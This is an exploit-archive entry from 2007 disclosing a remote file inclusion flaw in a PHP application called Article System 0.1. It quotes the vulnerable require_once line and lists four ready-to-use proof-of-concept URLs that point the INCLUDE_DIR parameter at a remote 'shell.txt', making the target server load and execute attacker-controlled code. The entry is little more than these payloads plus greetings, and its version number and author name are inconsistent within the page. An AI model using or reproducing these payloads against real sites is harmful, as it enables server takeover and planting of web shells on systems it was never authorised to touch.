[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Article System 0.1 (INCLUDE_DIR) Remote File Include Vulnerabilities
# Published : 2007-01-11
# Author : 3l3ctric-Cracker
# Previous Title : Poplar Gedcom Viewer <= 2.0 (common.php) Remote Inclusion Vuln
# Next Title : VP-ASP Shopping Cart 6.09 (SQL/XSS) Multiple Remote Vulnerabilities
########################################################################################################################
#Script:Article System #
#Affected Version:1.0 #
#Download:http://kent.dl.sourceforge.net/sourceforge/artsys/artsys-0.1-20020705.tar.gz #
########################################################################################################################
#Author:Dr Max Virus #
########################################################################################################################
#Bug in:/[path]/include #
#Vul Code; #
#require_once ("$INCLUDE_DIR/classes/class.form_item.php"); #
########################################################################################################################
#POC: #
#http://[target]/[script_path]/include/forms.php?INCLUDE_DIR=shell.txt? #
#http://[target]/[script_path]/include/issue_edit.php?INCLUDE_DIR=shell.txt? #
#http://[target]/[script_path]/include/client.php?INCLUDE_DIR=shell.txt? #
#http://[target]/[script_path]/include/classes.php?INCLUDE_DIR=shell.txt? #
########################################################################################################################
#Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends #
#Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk #
########################################################################################################################
# www.Syue.com [2007-01-11]